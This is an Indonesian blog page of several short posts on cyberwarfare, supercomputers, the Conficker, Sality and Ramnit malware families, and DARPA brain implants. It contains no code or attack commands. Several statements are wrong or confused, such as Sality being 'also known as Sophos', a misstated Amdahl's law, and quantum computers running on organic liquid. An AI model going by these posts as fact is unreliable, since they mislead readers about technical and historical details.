MUSLIM CYBER ARMY DALAM PROSPEKTIF CYBERWARFARE DAN DUNIA HACKING

Muslim cyber army yang disingkat (MCA) mungkin nitizen sudah mahfum dengan hal satu ini banyak pro dan kontra kenapa MCA begitu dahsyat gaungnya di dalam dunia maya . kali ini admin akan mencoba mengulas mengenai MCA dari sudut pandang yang lebih luas dalam dunia perang cyber. 

Contoh Serangan Cyber Tahun 2013

Dalam topologi yang lebih luas perang cyber bisa diartikan  perang yang sudah menggunakan jaringan komputer dan Internet atau dunia maya (cyber space)  dalam bentuk strategi pertahanan atau penyerangan sistim informasi lawan. perang cyber   mengacu pada  penggunaan fasilitas www (world wide web)  dan jaringan komputer untuk melakukan perang di dunia maya.

Share:

Read More

SENAPAN RAHASIA PENEMBAK DRONE BUATAN IRAN

Drone atau dengan kata lain Pesawat tanpa awak mungkin tak asing lagi didengar dan digunakan oleh sebagian besar masyarakat Indonesia baik untuk keperluan dokumentasi, pengumpulan data bahkan kepentingan riset. Jenis drone juga banyak ragamnya tergantung kepentingannya dalam kondisi peperangan penggunaan drone sangatlah membahayakan walaupun drone tersebut tidak di peruntukkan untuk itu.  Dengan memanfaatkan kamera yang dibawanya, drone yang awalnya di gunakan untuk keperluan lain bisa jadi berubah fungsinya seperti mengetahui posisi musuh, membantu komandan altileri untuk menentukan koordinat musuh bahkan untuk membawa bom itu sendiri seperti yang di gunakan teroris di Suriah dan Irak (ISIS).

Sudah banyak negara yang bereksperimen untuk mengatasinya mulai dari penggunaan elang bahkan senjata laser. namun hal  ini tidaklah cukup efektif , cara yang  paling ampuh adalah dengan memutus atau menggangu transmisi radio yang di kirimkan ke drone.

Share:

Read More

KAJIAN DASAR INFRASTRUKTUR CYBERWARFARE

Oleh
Akhmad P. Trikartika, S.Kom


Tidak setiap peperangan berlangsung di medan pertempuran. baik, di laut, di permukaan atau bahkan di udara. ternyata pertempuran era modern sekarang kita akan menemui beberapa pertempuran sengit terjadi di antara jaringan komputer. Alih-alih menggunakan peluru dan bom, para prajurit dalam konfrontasi ini menggunakan bit dan byte. Tapi jangan berpikir bahwa senjata digital tidak menghasilkan konsekuensi dunia nyata bahkan banyak negara yang porak poranda akibat terjangannya. salah satunya adalah negara Estonia yang menderita kerugian besar akibat serangan tentara cyber Rusia yang mengakibatkan lumpuhnya fasilitas vital negara tersebut seperti jaringan Infrastruktur Bank, Kantor Berita serta situs keprisidenan.

Memang Kedaulatan cyberspace saat ini perlu diperhitungkan. Sebab dunia modern yang ditandai dengan kemajuan teknologi informasi dan komunikasi, sudah menjadikan ranah teknologi sebagai metode baru dalam peperangan (cyber warfare). Perang cyber yang disebut sebagai perang modern ini juga dipandang sebagai ancaman baru terhadap keamanan dan ketertiban dunia.

Berkembangnya  kemampuan Serangan Cyber (cyber attack) menyebabkan  ketertarikan atau  kepentingan  yang  besar  untuk  membangun  sebuah sistem cyber detterence (pencegahan & pertahanan) yang kuat. Bagi negara-negara yang sudah memiliki kemampuan dan berbasis kepada sistem komputer lebih meningkatkan  dan  memberikan  perhatian  khusus  kepada kemampuan cyberdeterrence daripada meningkatkan untuk merespon serangan-serangan yang konvensional.

cyber attack pada umumnya terbagi  menjadi dua Moda yakni :
Serangan pada jaringan kabel (wired); penyerangan dengan menggunakan perangkat computing power yang cukup tinggi untuk melakukan serangan dengan memanfaatkan jaringan komputasi terdistribusi. 

Serangan pada jaringan nir-kabel (wireless); menggunakan perangkat high-power Network Interface Card (NIC) serta biasanya juga sebuah high gain (directional) external antenna (yang digunakan untuk meningkatkan jangkauan dan juga output power).

Dari dua Moda serangan tersebut akan dimanfaatkan untuk mengirimkan Exploits(virus), Eavesdropping(menguping), Social engineering dan human error (mengambil keuntungan dari kelemahan orang yang diberi kepercayaan),  Denial of service attacks (membuat fasilitas tak berfungsi, sempurna atau mati sama sekali), Indirect attacks (serangan menggunakan proxy), Backdoors (kiat mengakali otorisasi otentik) , Direct access attacks (serangan langsung dengan mematahkan keamanannya) fungsi dari ini semua akan mengincar sasaran fasilitas yang terdapat pada Bawah Permukaan, permukaan, Udara, Waktu , Cyber Domains ,Persepsi, informasi dan komunikasi ,kelistrikan ,keuangan ,minyak &  gas, layanan kedaruratan, komando & pengendali , serta sasaran lain disetiap infrastruktur negara sehingga dampaknya dapat merusak seperti halnya transaksi ekonomi, tidak teraturnya sistem transportasi laut & udara, tidak beroperasinya sistem perbankan dan memberikan pengaruh bagi pasokan tenaga listrik dan sebagainya.

Target Serangan Cyber China yang dilansir http://www.motherjones.com

Menurut Richard A. Clarke (2010) dalam  mengukur  kemampuan cyberwarafare suatu  negara  secara realistic dapat dilakukan dengan mempertimbangkan pengukuran  dengan  tiga  faktor,  yaitu;  (1) offense; (2) defense; dan (3)dependence. Offense merupakan ukuran kemampuan suatu Negara dalam melakukan penyerangan guna melemahkan jaringan-jaringan sistem  komputer  lawan  atau  merusak cyberdeffense dari  suatu negara  lawan; defense yang  dimaksud  adalah  pengukuran  dari kemampuan  suatu  negara  guna  beraksi  dalam  suatu serangan cyber, dimana  aksinya  tersebut  dapat  memberikan pertahanan (baca: melakukan blok) dan mengurangi serangan- serangan  dari cyber lawan.  Sedangkan dependence adalah  suatu tingkat ketergantungan terhadap jaringan dan sistem yang dapat dengan mudah diserang oleh cyber.

Berikut adalah Nama nama negara yang dianggap memiliki 3 Faktor tersebut Menurut Richard A. Clarke

China
China disebut-sebut sebagai negara yang memiliki kekuatan tentara cyber yang hebat. Mereka diduga terlibat dalam berbagai serangan cyber skala besar ke negara-negara lain, sperti Amerika Serikat. Tentara cyber China kabarnya dimobilisasi oleh People's Liberation Army. China pernah dituding menyerang sistem komputer AS secara masif di tahun 2002 dan berhasil mengambil data sebesar 20 terabyte dari jaringan komputer AS. Operasi tersebut diberi kode nama Titan Rain. Selain itu China mempunyai nilai defense yang tinggi, karena mempunyai perencanaan dan kemampuan untuk memutuskan hubungan  jaringan  ke  seluruh  negerinya  dengan melalui cyberspace.

Rusia
Negara yang memiliki tentara cyber kuat adalah Rusia. Lembaga khusus pertahan cyber milik RUsia adalah Russian Cyber Forces. Setidaknya ada 7.300 pakar internet dan komputer dihimpun oleh Rusia untuk kekuatan tentara cyber-nya. Selain mempunyai insfrastruktur pertahanan yang mampuni. Negara Rusia juga bengis dalam melakukan serangan Salah satu perang cyber yang menarik perhatian dunia adalah serangan terhadap Estonia pada 10 Mei 2007 lalu. Serangan cyber Rusia telah melumpuhkan situs kepresidenan, jaringan keuangan, hingga  situs berita.

Amerika Serikat
Negara kedua yang memiliki kekuatan tentara cyber hebat di dunia adalah Amerika Serikat. Langkah untuk meningkatkan kekuatan cyber, Amerika Serikat membentuk United States Cyber Command pada tahun 2009. Unit tersebut bertanggung jawab untuk melindungi AS dari serang cyber yang berdatangan dan mempertahankan infrastruktur krusial. Lembaga lainnya yang ikut andil dalam pengamanan dunia cyber Amerika Serikat adalah National Security Agency. Namun kalau berbicara masalah system pertahanan Hal tersebut bertolak belakang karena AS tidak mempunyai baik merencanakan maupun kemampuan untuk memutuskan koneksi jaringan karena koneksi jaringan yang ada di AS rata-rata di operasikan dan dimiliki oleh perseorangan (baca: swasta) ini terbukti beberapa kali AS kesulitan menghadapi serangan Cyber China. Salah satu contohnya adalah serangan yang dilakukan pada Gedung Putih yang memiliki infrastuktur pertahanan cyber mumpuni juga tak luput dari serangan serdadu cyber. Ada dugaan, serangan dilakukan oleh para hacker asal Cina yang memang tengah gencar mengincar fasilitas-fasilitas pertahanan AS. Serangan cyber oleh hacker Cina meningkat dalam beberapa bulan belakangan, terutama terhadap fasilitas militer AS di Pentagon. Bahkan hacker Cina juga menyerang Google dengan membobol akun Gmail pejabat pemerintah AS dan personel militer

Korea Utara
Korea Utara dengan Korea Selatan, dua negara bertetangga yang lama bermusuhan juga sering terlibat dalam perang cyber. Pada 9 Juli 2009, puluhan ribu komputer terinfeksi virus ‘diperalat’ menyerang situs-situs web perbankan dan infrastruktur penting Korsel. Intensitas penyerangan pun semakin tinggi ketika hubungan kedua negara memanas. Ternyata ketika ditelusuri kemampuan tentara Cyber Korea Utara tidak lepas dari didikan dan bantuan  Negara China. Bila kita melihat Korea Utara, maka negara ini memiliki nilai  yang  tinggi  untuk defense dan dependence,  hal  ini dikarenakan  Korea  Utara  dapat  memutuskan  koneksinya  yang terbatas ke cyberspace lebih mudah dan efektif dibanding dengan China dengan alasan bahwa Korea Utara mempunyai ketergantungan terhadap  sistem  yang  kecil  dan  apabila  ada serangan cyber terhadap negara tersebut tidak akan menimbulkan kerusakan yang berarti.

Iran
Iran disebut-sebut oleh analis barat telah memiliki kekuatan cyber yang canggih dan melakukan serangan pada beberapa negara oposisinya. Belakangan ini Iran juga menjadi "kambing hitam" dari serangkaian serangan cyber yang menghantam  perbankan AS dan berita yang paling fenomenal adalah berhasil di retesnya pesawat mata mata amerika RQ-170 Sentinel sehingga jatuh ketangan Iran. Tapi kalau berbicara masalah kemampuan melakukan pertahanan Cyber Negara ini masih lemah  terbukti  dalam menghadapi  serangan cyber Stuxnet yang mengacaukan sistem fasilitas nuklirnya di Natanz. 

Foto Serangan Cyber terhadap Indonesia

Lalu bagaimana dengan Indonesia ..? Dalam membangun kekuatan pertahanan cyber ini, berbagai keahlian yang perlu dimiliki misalnya di bidang strategi keamanan dan pengamanan serta serangan informasi (information security and warfare), ahli meretas (hacking), spionase (espionage), forensik digital (digital forensic) dan analis keamanan jaringan (network security analyst). Sedangkan bila merujuk pada pengukuran yang dilakukan oleh Robert  A.  Clarke  yang  mempertimbangkan  tiga  elemen; (1) offense;(2) defense; dan  (3) dependence, maka  sangat diharapkan Indonesia memiliki kemampuan cyberwarfare minimal sebanding dengan negara-negara maju di dunia, dan hal tersebut harus menjadi komitmen bagi para stakeholderguna menghadapi ancaman cyber dimasa mendatang. Dari tiga elemen yang menjadi tolak ukur untuk kekuatancyberwarfare sebuah negara, diharapkan Indonesia memiliki keseimbangan dalam tiga elemen tersebut, artinya  bahwa  dari  segi  kemampuan  Indonesia  mampu memberikan serangan-serangan  yang  mematikan  dan  merusakan terhadap  negara  lawannya  melalui cyberattack. Kemudian  dari sisidefensive, Indonesia  harus  mampu  mengontrol  dan mengendalikan terhadap kerentanan dan kerawanan yang dimiliki dalam sebuah sistem jaringan komputer atau internetnya, sehingga mampu  menimalisir  kerusakan  yang  terjadi  bila  terdapat serangan cyber.

Referensi : 

• Badri, Muhammad. 2013. TNI dan Pertahanan Cyber. 
• Clarke, Richard A. 2010. Cyber War The Next Threat To National Security and What To Do About It. NY: Harper Collin Publisher.
• Dr. Yono Reksoprodjo, ST. DIC Center for Security and Defense Studies. Cyber Warfare dan dan ancaman ancaman pada pada"Keamanan dalam bertransaksi electronic banking dan electronic payment"
• Sigit, Mengukur kekuatan cyber suatu negara

Editor : |||0|||0

Share:

Read More

TIANHE-2, TITAN, K COMPUTER, JUQUEEN & ELBRUS GEN2 NAMA-NAMA SUPER KOMPUTER TERCEPAT DI DUNIA

Sebagaimana bunyi Teori Hukum Amdhal yakni Peningkatan kecepatan secara paralel (multiple processor) akan menjadi linear dalam melipatgandakan kemampuan proses sebuah komputer dan mengurangi separuh dari waktu proses yang diperlukan untuk menyelesaikan suatu masalah Komputasi dengan asumsi mampu merendahkan daya yang dipakai. Teori ini dicetuskan oleh Gene Amadahl yang merupakan desain arsistecture computer IBM.

Atas dasar teori inilah  yang mendasari pembuatan Super Komputer, sesuai dengan namanya komputer ini sangatlah berbeda dengan komputer yang pernah kita liat. Super komputer dibuat agar mampu menjalankan tugas super yang dimana hanya bisa diakses dengan kemampuan kinerja tinggi untuk Perhitungan-intensif seperti prakiraan cuaca, riset iklim (termasuk riset pemanasan global, pemodelan molekul, simulasi fisik (seperti simulasi kapal terbang dalam terowongan angin, simulasi peledakan senjata nuklir, dan riset fusi nuklir), analisikrip, dan keperluan sains Militer adalah salah satu pengguna utama superkomputer.

Berikut adalah 5 negara yang memiliki Super Komputer  di Dunia

Tianhe-2 China
 

Foto Super Computer China Tianhe 2 yang menduduki Strata Tertinggi Super Computer

Superkomputer Tianhe-2 asal Cina merupakan yang paling cepat di dunia saat ini. Tianhe-2 memiliki kemampuan beroperasi secepat 33,86 petaflops per detik (quadrillion perhitungan detik).

Superkomputer Tianhe-2 dikembangkan sendiri oleh Universitas Teknologi Pertahanan Nasional Cina. Tianhe-2 menggunakan teknologi yang hampir keseluruhannya dikembangkan dan dibangun di Cina, kecuali chip komputasi. Untuk chip komputasi, Superkomputer Tianhe-2 menggunakan intel.

Sistem operasi, sistem interkoneksi, prosesor front-end, perangkat lunaknya dan fitur-fitur lainnya dari sistem ini sepenuhnya dikembangkan di Cina.

Super computer ini bertempat di Pusat Super Computer Nasional, di Guangzhou. Perangkat ini mengusung dua prosesor Intel Intel Ivy Bridge Xeon dan tiga chip Xeon Phi per komputer node, dengan total 16.000 node dan 3.120.000 Core.

Tianhe 2 ini juga menjadi pembuktian bagi China untuk mewujudkan komitmennya sebagai salah satu pemimpin di dunia komputasi saat ini. Para pejabat di negara tersebut mengatakan bahwa Tianhe 2 akan digunakan untuk tujuan keamanan. Namun masih belum diketahui detail dan fungsi apa saja yang bisa dimanfaatkan China dari super computer milik mereka ini.

Sejumlah pakar mengatakan, meski Tianhe-2 mampu menghasilkan lebih banyak kalkulasi per detik dibanding otak manusia, tetapi komputer itu tidak sehebat yang dibayangkan.

Otak manusia memiliki sistem pemrosesan data paralel yang jauh lebih canggih, yang memungkinkan untuk mengoperasikan banyak jaringan saraf dalam waktu bersamaan. Sementara komputer hanya bisa melakukan satu penghitungan dalam satu hitungan waktu.

TITAN Amerika
 

Foto Super Computer Amerika Titan yang menduduki Starata tertinggi ke 2

Titan adalah nama yang diberikan kepada super komputer dari Departement of Energy Oak Ridge National Laboratory. Super komputer ini diklaim sebagai super komputer tercepat, sekaligus terbesar di dunia saat ini.

Spesifikasi Titan sangatlah mengerikan. Dia terdiri dari 18.688 node, dimana setiap node terdiri dari 16-core AMD Opteron 6274 processor dan NVIDIA Tesla K20 graphics processing unit (GPU) accelerator. Dan memorinya? Lebih dari 710 Terabyte RAM.

Dengan spesifikasi seperti itu dia mampu melakukan sekitar 20 quadrillion kalkulasi setiap detik. Kemampuannya mencapai 20 petaflops!

Dengan kemampuan kalkulasi dan GPU yang begitu besar, Titan difungsikan sebagai komputer simulasi perubahan iklim, perkembangan sel, dan simulasi berat lainnya. Simulasinya mampu menjelajah akurat sampai ke satuan atom. Titan mampu menghasilkan simulasi yang lebih cepat dan lebih detail bagi peneliti.

Titan terdiri dari 200 kabinet, tiap kabinet sebesar kulkas berukuran besar. Ini membuat besarnya Titan hampir seluas lapangan basket.
 

Belum lagi kebisingan yang diciptakannya. Siapapun yang berada di dekat Titan lebih dari 15 menit, harus menggunakan pelindung telinga khusus jika tidak ingin mengalami kerusakan pendengaran permanent

Komputer ini pernah menjadi yang tercepat di dunia, sebelum digeser oleh Tianhe-2Perangkat ini menduduki posisi ketiga sebagai superkomputer paling hemat daya, dengan menggunakan 8.209 kilowatt.

K Computer Japan
 

Foto SuperComputer milik Japan yang diberinama K Computer

RIKEN dan fujitsu baru saja meluncurkan produk hasil kerja samanya, yakni sebuah super komputer tercepat di dunia. Superkomputer yang memiliki nama K computer memiliki tingkat performa mencapai 10.51 Petaflop, lebih tinggi dibandingkan superkomputer tercepat sebelumnya yang hanya mencapai tingkat performa 8 petaflop.
 

Superkomputer ini dibangun dengan menggabungkan total 88.128 CPU. Di bagian dalamnya, superkomputer ini menggunakan prosesor milik Fujitsu, yakni chip Sparc64 VIIIfx yang memiliki delapan core, TDP 58W dan puncak performa mencapai 12 GFlop pada clock rate 2GHz.
 

Untuk mencapai tingkat performa 10 petaflop, Fujitsu memasukkan beberapa ekstensi yang dikembangkan untuk cluster high performance, yang memungkinkan sebuah aplikasi untuk dapat memanage L2 shared cache CPU 6MB. Selain itu instruksi ini juga memberikan dukungan untuk SIMD, 256 floating point register per core dan meningkatkan kemampuan sinkronisasi hardware inter-core.

Juqueen Jerman
 

Foto Super Komputer Milik Jerman yang diberinama Juqueen

JUQUEEN merupakan nama sebuah superkomputer yang dibangun oleh IBM sebagai vendor, yang ditempatkan di Forschungszentrum Jülich, German pada 2012 ini. Superkomputer ini memiliki kemampuan 4,14 FLOPS (merupakan satuan pengukuran kecepatan kinerja suatu mikroprosesor biasanya dalam suatu aplikasi ilmiah). JUQUEEN dibangun dengan mengambil basis desain dari superkomputer komputer Blue Gene / Q dengan dilengkapi tipe prosesor PowerPC A2, dengan berbasis sistem operasi Linux

Juqueen mampu melakukan lima triliun hitungan per detik dari segi bentuk Juqueen bersosok 30 persen lebih kecil ketimbang Jugene atau super komputer yang pernah dibuat sebelumnya dengan menggunakan ukuran processor yang lebih kecil super komputer terbaru ini mempunyai efisiensi energi yang lebih baik
 

Jequeen di pakai jepang untuk melakukan penelitian dibidang teknologi energi, prakiraan cuaca, perkembangan iklim dan cuaca, serta penelitian medis. JUQUEEN dapat membantu kita misalnya memvisualisasikan penyakit otak . selain itu Super komputer ini  membantu  untuk bidang simulasi astronomi dan fisika partikel.

Elbrus Gen 2 RUSIA
 

Mock Up Super Komputer Rusia yang diberinama Elbrus

Sebuah komputer dengan kemampuan pemrosesan 1,2 petaflop tengah dikembangkan di Fryazino, sebuah kota kecil di luar Moskow. Komputer tersebut akan dapat melakukan operasi 1,2x1015 per detik. Saat ini, hanya ada beberapa komputer dengan kekuatan seperti itu di dunia. Menurut Andrey Zverev, Direktur Umum Perusahaan Induk Roselektronika yang mengembangkan teknologi tersebut, fitur utama yang membedakan komputer tersebut dari komputer lain adalah basis komponen kritisnya, termasuk prosesor, akan terdiri dari produk yang dikembangkan di Rusia. Pada tahap pertama, produksi komponen dan mikroelektronik untuk superkomputer ini mungkin akan dilakukan di Asia Tenggara. Namun, semua hak patennya akan menjadi milik Rusia.
 

Seperti yang dikatakan oleh Presiden United Aircraft Corporation, Mikhail Pogosyan, kepada koresponden Rossiyskaya Gazeta, simulasi komputer memberi kesempatan untuk memperpendek dan mengurangi biaya siklus desain dan uji coba penerbangan suatu prototipe dari pesawat tempur T-50 generasi kelima secara signifikan. Tidak lama lagi, uji coba pada superkomputer akan menjadi praktik standar bagi para pengembang teknologi militer nasional.

 

Dari sekian banyak super computer di dunia dengan kedahsyatan komputer tercanggih yang ada saat ini pun masih belum bisa memuaskan keinginan manusia yang bermimpi untuk membuat sebuah Supercomputer yang benar-benar memiliki kecepatan super. Komputer yang nantinya layak untuk benar-benar disebut sebagai Komputer Super ini adalah Komputer Kuantum. Teori tentang komputer kuantum ini pertama kali dicetuskan oleh fisikawan dari Argonne National Laboratory sekitar 20 tahun lalu. Paul Benioff merupakan orang pertama yang mengaplikasikan teori fisika kuantum pada dunia komputer di tahun 1981.
 

Di masa mendatang kita akan menggunakan komputer yang tidak lagi tersusun dari transistor-transistor mini seperti sekarang, Komputer kuantum tidak lagi memerlukan chip komputer yang semakin lama semakin padat karena semakin berlipatgandanya jumlah transistor yang dibutuhkan untuk meningkatkan kinerja komputer. Komputer masa depan justru dipenuhi oleh cairan organik sebagai ‘jantung’nya. Cairan organik ini mengandung atom-atom/partikel-partikel yang bisa berada dalam keadaan superposisi tersebut. Ini berarti, kita benar-benar memanfaatkan zat organik alami untuk menjadi ‘kalkulator’ canggih karena ternyata cairan organik dari alam memiliki bakat berhitung! 

Catatan :
1 petaflop = 10 pangkat 15 (1.000.000.000.000.000) flops. Jadi Tianhe-2 bisa melakukan 33,68 x 10 pangkat 15 operasi/detik.

-|||0|||0-

Share:

Read More

CONFICKER, SALITY, RAMNIT MALWARE SPIONASE YANG PALING BANYAK MENYERANG INDONESIA

Diagram Malware

MALWARE atau yang dikenal dengan virus spionase baru-baru ini tengah menginfeksi 70.000 PC diseluruh Indonesia melalui jaringan protocol internet, terbongkarnya malware ini berhasil di indentifikasi oleh Indonesian Computer Emergency Response Team (ID-CERT), malware tersebut telah menyerang 196 perusahaan (ISP dan non ISP), 27 institusi akademik/universitas, 13 instansi pemerintahan, dan 3 Internet eXchange (2 milik milik pemerintah dan 1 milik komunitas). Malware dari jenis ini berpotensi melakukan serangan DDoS (Distributed Denial of Service) maupun aktivitas lainnya, termasuk cyber crime.  Berikut adalah 3 malware dan variannya yang banyak mendiami PC di Indonesia .

CONFICKER

Diagram Penyebaran Malware Conficker

Conficker, juga dikenal sebagai Downup, Downadup dan Kido, adalah worm komputer menargetkan sistem operasi Microsoft Windows yang pertama kali terdeteksi pada bulan November 2008. Malware ini memanfaatkan kelemahan dalam software OS Windows dan password administrator untuk menyebarkan sampai membentuk botnet. Conficker ini memiliki banyak varian dengan spesifikasi peruntukannya  berikut adalah beberapa contohnya


1. Worm:Win32/Conficker.A
Worm: Win32/Conficker.A adalah worm yang menginfeksi komputer lain melalui jaringan dengan memanfaatkan kerentanan dalam layanan Windows Server (SVCHOST.EXE). Jika kelemahan tersebut berhasil dieksploitasi, bisa memungkinkan eksekusi kode jauh ketika file sharing diaktifkan.

2. Worm:Win32/Conficker.B
Worm: Win32/Conficker.B adalah worm yang menginfeksi komputer lain melalui jaringan dengan memanfaatkan kerentanan dalam layanan Windows Server (SVCHOST.EXE). Jika kelemahan tersebut berhasil dieksploitasi, bisa memungkinkan eksekusi kode jauh ketika file sharing diaktifkan. Hal ini juga dapat menyebar melalui removable drive dan password administrator yang lemah. Ini menonaktifkan beberapa layanan sistem yang penting dan produk keamanan.

3. Worm:Win32/Conficker.C
Win32/Conficker.C adalah worm yang menginfeksi komputer lain melalui jaringan dengan memanfaatkan kerentanan dalam layanan Windows Server (SVCHOST.EXE). Jika kelemahan tersebut berhasil dieksploitasi, bisa memungkinkan eksekusi kode jauh ketika file sharing diaktifkan. Hal ini juga dapat menyebar melalui removable drive dan password administrator yang lemah. Ini menonaktifkan beberapa layanan sistem yang penting dan produk keamanan.

4. Worm:Win32/Conficker.D
Win32/Conficker.D adalah varian dari Win32/Conficker. Conficker.D menginfeksi komputer lokal, mengakhiri layanan, akses blok terhadap keamanan terkait berbagai situs Web dan download kode sewenang-wenang. Conficker.D relay dapat perintah instruksi ke komputer Conficker.D lain terinfeksi melalui built-in peer-to-peer (P2P) komunikasi. Varian ini tidak menyebar ke removable drive atau bersama folder di jaringan (seperti varian sebelumnya). Conficker.D terinstal dengan varian sebelumnya Win32/Conficker.

5. Worm:Win32/Conficker.E
Worm: Win32/Conficker.E adalah anggota dari keluarga Win32/Conficker dan proaktif terdeteksi ketika pertama kali ditemukan sebagai Worm:! Win32/Conficker.gen A. Conficker.E bertindak sebagai mechansim update untuk varian sebelumnya Win32/Conficker. Varian ini akan menghapus executable nya sendiri pada tanggal 3 Mei 2009.Microsoft sangat menganjurkan agar pengguna menerapkan pembaruan sebagaimana dimaksud dalam Buletin MS08-067

S A L I T Y 

Diagram Penyebaran Malware Sality (Peer to Peer)

Sality, juga di kenal SalLoad atau Sophos adalah sejenis polymorphic file infector. Malware ini akan menyerang setelah kita mangaktifkan create/delete registry keys untuk mengaktifkan security pada system dan akhirnya justru mengaktifkan  proses reboot di masing-masing operating system. Win32/Sality memodifikasi file EXE dan SCR dan menghentikan proses dan layanan yang berhubungan dengan solusi keamanan.

Salah satu contohnya Win32.Sality.NBA adalah salah satu program jahat ilegal yang ada pada Windows. Program tersebut mampu mangambil alih resources system dan memperlambat kinerja komputer. Beberapa program sejenis seringkali muncul dalam bentuk pesan-pesan maupun banner iklan  sehingga mengganggu proses kerja. Sementara itu, malware ini juga merusak data yang tersimpan

Sistem terinfeksi Sality dapat berkomunikasi melalui jaringan peer-to-peer (P2P) untuk tujuan menyampaikan spam, proxy komunikasi, exfiltrating data sensitif, mengorbankan server web dan / atau mengkoordinasikan tugas-tugas komputasi terdistribusi untuk tujuan memproses tugas-tugas intensif (misalnya password cracking). Sejak 2010, varian tertentu dari Sality juga memasukkan penggunaan fungsi rootkit sebagai bagian dari evolusi yang sedang berlangsung dari keluarga malware. Karena perkembangan lebih lanjut dan kemampuan, Sality dianggap salah satu bentuk yang paling kompleks dan tangguh dari malware sampai saat ini.

R A M N I T

Diagram Ramnit

Ramnit adalah virus yang paling sukses menyebar di tahun 2011, dengan kemampuan update layaknya program antivirus Ramnit berhasil mengecoh system scanner program antivirus. Virus yang muncul akhir bulan Januari 2011 ini mempunyai kemampuan untuk menginjeksi file yang mempunyai ekstensi EXE dan DLL baik berupa file program aplikasi maupun file system Windows sehingga memerlukan langkah pembersihan khusus. Ramnit sempat bertengger sebagai jawara di urutan pertama sampai dengan pertengahan bulan Agustus 2011 sehingga pantas dinobatkan sebagai virus jawara di tahun 2011. Berikut adalah varian dari Malware Ramnit.

1.    WIN32/Ramnit.A
Malware ini terkenal bandel dan sudah lama membuat pengguna Internet di Indonesia terganggu. Setelah mengalami penurunan di bulan-bulan sebelumnya, Ramnit kembali bertengger di puncak sejak Mei lalu. Virus berjenis trojan ini relatif sulit disingkirkan. Tips dari Technical Support ESET Indonesia, lakukan update scan via safe mode, atau gunakan sysrescue.

2.    Win32/Ramnit.F
Malware berjenis trojan ini mampu meng-copy dirinya yang akan memenuhi hard drive komputer yang terinfeksi. Virus ini biasanya bersembunyi di dalam aplikasi office, bahkan game. Dengan kemampuannya membuka firewalls dan menyamar menjadi program fake untuk mengumpulkan data penting seperti data transaksi, hingga data keuangan sehingga sanagat dianjurkan untuk segera menghapus jika ditemukan adanya indikasi virus Win32/Ramnit.F ini.

3.    Win32/Ramnit.H
Malware yang memanfaatkan security flaws agar hacker pengendalinya bisa masuk dan mengambil alih komputer yang menjadi target melalui koneksi jaringan. Ramnit.H adalah malware berjenis trojan, dimana setelah berada di dalam komputer, ia akan mengirimkan file-file berbahaya, dan melakukan aktifitas tertentu, yang berdampak pada mandeknya kinerja komputer hanya dengan menambahkan entri file ke sistem registry dan sistem operasi. Ramnit.H juga mampu memonitor aktifitas online korban, kemudian mencuri data-data keuangan seperti data kartu kredit, password, user name. Malware yang diidentifikasi ESET sebagai Win32/Ramnit.H in juga mampu mematikan sistem keamanan.



Berikut sedikit tips Mencegah Malware

• Hindari menggunakan program bajakan,crack, nulled.
• Instal Aplikasi Antivirus dan mengupdatenya secara berlaka jika sering berselancar internet gunakan aplikasi antivirus yang mendukung internet Scurity (tidak disarankan antivirus lebih dari pada satu)
• Bagi pengguna Windows Asli anda bisa memanfaatkannya untuk mengupdate OS secara berkala
• Menghindari Double Clik pada window explore
• Sesuaikan menginstal aplikasi sesuai dengan peruntukannya
• Hindari browsing internet pada situs-situs porno karena disanalah lumbung malware

Created by |||0|||0
to Download

Share:

Read More

IMPLAN OTAK UNTUK PRAJURIT TEMPUR AMERIKA (CYBORG BRAIN)

Kecanggihan dan kehebatan teknologi militer Amerika tidak terlepas dari peran DARPA yakni  sebuah lembaga dari Departemen Pertahanan Amerika Serikat  yang bertanggung jawab untuk pendanaan pembangunan Teknologi baru untuk kepentingan  militer Amerika diantaranya adalah dominasi teknologi mulai dari udara, darat, laut, dan teknologi ruang dari berbagai disiplin ilmu.

Kali ini Darpa untuk kesekian kalinya mencoba menggemparkan dunia dengan teknologi terbarunya yakni Implan Otak untuk prajurit . Implan otak berfungsi untuk mengembalikan kenangan atau memori yang hilang dalam otak jika prajurit tersebut mengalami cedera kepala dalam bertugas ataupun dalam pertempuran

Dari segi teknisnya Implan ini akan dipasang dan di benamkan kedalam otak seorang prajurit untuk merekam peristiwa yang sedang berlangsung. Dalam kasus cedera otak implan pada dasarnya akan melakukan system restore , memberikan kenangan kembali . Darpa menamakan Project ini  dengan sebutan RAM ( Restoring  Active Memory ) , saat ini DARPA sedang mencari rekanan dari perusahaan yang cocok dalam bidang tersebut salah satunya adalah Medtronic, Perusahaan ini sebenarnya sudah melakukan penelitian tentang implan otak tahun lalu untuk mengobati penyakit Parkinson dengan cara mengirimkan sinyal-sinyal listrik langsung ke otak .

DARPA mengatakan:

Impan berfungsi menguraikan sinyal yang dikirim otak kepada Implan berupa kenangan dan peristiwa yang berlangsung, hanya saja kami harus mempelajari sinyal-sinyal ini dan darimana mereka berasal, kita tahu bahwa kenangan/ingatan pada dasarnya diserap menggunakan protein mRNA kemudian di distribusikan kepada Neuron otak.

MRNA(Messenger-RNA) adalah RNA yang merupakan hasil transkripsi DNA dan menjadi perantara pembawa urutan protein dalam proses translasi.  kemudian disebarkan melalui neuron/sel saraf yang  merupakan satuan kerja utama dari sistem saraf fungsinya adalah  menghantarkan impuls listrik yang terbentuk akibat adanya suatu stimulus (rangsang). Jutaan sel saraf kedalam Otak dan koneksi ini membentuk kenangan . Implan ini difungsikan merekam proses itu dan otak akan menterjemahkannya kedalam suatu ingatan / kenangan yang telah terjadi. 

Ujicoba Implan Otak pada Tikus

Ujicoba Implan Otak pada Kera dan mengintegrasikannya pada Tubuh Virtual

Teknologi semacam ini ternyata bukan hanya Amerika, tapi ternyata Israel sudah lebih dahulu membuat implan otak (cyborg Brain) dan mengujicobanya pada seekor tikus, kemudian di susul Amerika dengan membuat implan otak dari seekor monyet dan menginteraksikannya kepada tubuh virtual seperti layaknya film AVATAR.

Namun, Jika teknologi sampai ke titik tersebut, ini merupakan sebuah terobsan teknologi  seperti layaknya film fiksi ilmiah yang akan menjadi kenyataan, bahkan kalau terwujud tidak ada lagi kata belajar cukup memplugin database ke otak maka akan secara otomatis  terhubung ke otak  tanpa perlu belajar secara konvensional dan Darpa mengklaim tidak ada lagi istilah orang bodoh di dunia bahkan Implan otak menjanjikan banyak hal , dari memerangi degradasi mental yang disebabkan oleh usia dan penyakit , untuk meningkatkan output dan juga bisa memiliki efek besar untuk obat-obatan,  terutama dalam mengobati penyakit yang mempengaruhi memori , seperti Alzheimer .|||0|||0

Share:

Read More

